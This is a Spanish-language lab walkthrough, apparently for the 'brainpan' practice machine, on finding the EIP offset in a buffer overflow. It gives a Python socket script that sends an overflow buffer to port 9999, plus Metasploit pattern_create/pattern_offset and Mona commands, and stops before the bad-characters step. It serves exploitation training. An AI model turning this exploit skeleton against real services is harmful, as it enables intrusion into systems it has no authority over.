Offset
bo
detalladamente, El offset es un concepto clave en explotación de vulnerabilidades y en programación de bajo nivel, y se refiere a la distancia en bytes entre dos ubicaciones de memoria. Cuando un buffer overflow ocurre, el offset se refiere a la distancia en bytes desde el inicio del buffer hasta una ubicación crítica de la memoria, como la dirección de retorno (que es lo que sobrescribes en un ataque). Este concepto es fundamental para saber cuántos bytes necesitas para llegar y sobrescribir ciertas áreas de la memoria, como el EIP.
vamos a utilizar este script para adivinar el offset
#!/usr/bin/env python3
import socket
ip = "ip aqui"
port = 9999
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Enviando Buffer Malicioso...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("No se pudo conectar.")
con esto vamos a generar una cantidad de bytes mayor a 600.
Con Metasploit crearemos un patrón
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l numero_mayor_a_600
pondremos al final lo que dice. Recordemos que en todos los ataques no siempre crashea despues de 600 bytes, si por ejemplo un programa crashea a los 1000 pues en este comando debemos poner uno mayor como 1400, que agregamos 400 para evitar errores. Por lo que en el caso de 600 pondremos 1000 como numero
Los bytes generados por Metasploit lo pegaremos dentro de la variable payload del código de Python anterior
payload = "tus_bytes_aqui"
en Mona pondremos el umero de bytes exacto en el cual la aplicación ha crasheado :
!mona findmsp -distance numero_de_bytes_donde_ha_crasheado
en nuestro caso 600 como se ha mencionado anteriormente

nos debería abrir una nueva ventana.
Ahora estamos listos para ejecutar el script del offset que hemos visto anteriormente, pero antes de ejecutarlo hay que iniciar la aplicación denuevo ya que recuerda que la hemos crasheado.

Esto lo hacemos mediante la "X" de arriba a la izquierda, despues de eso abrimos denuevo la brainpan en nuestro immunity debugger. Y lanzamos el exploit.

Vemos que ha crasheado (ya que dice paused en la esquina inferior)

Ahora mira al numero que te ha dado el EIP, para mi caso es el que pueden ver en la imagen. Este numero nos servirá para la obtención del offset. Usaremos Metasploit denuevo
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l bytes_que_hemos_usado_para_generar_patron_en_metasploit -q numero_del_EIP_AQUI
como hemos visto en el -l para mi caso como explique anteriormente usare el numero 1000, recuerda acomodarlo a tu caso o si estas haciendo lo mismo que yo (resolviendo la maquina brainpan) pon 1000 también. Lo mismo con la parte del EIP.
En nuestro exploit de python ahora debemos cambiar algunas variables :
offset = offset_del_comando_anterior
retn = "BBBB" # este siempre es igual
ejecutamos el exploit con nuestra nueva configuración y vemos que el EIP cambia denuevo en el immunity debugger (y la maquina ha crasheado)

en mi caso y para el caso de los que estén resolviendo la brainpan conmigo el EIP es de 42424242
Ya casi terminamos ! Ahora vamos a por los badchars..
Last updated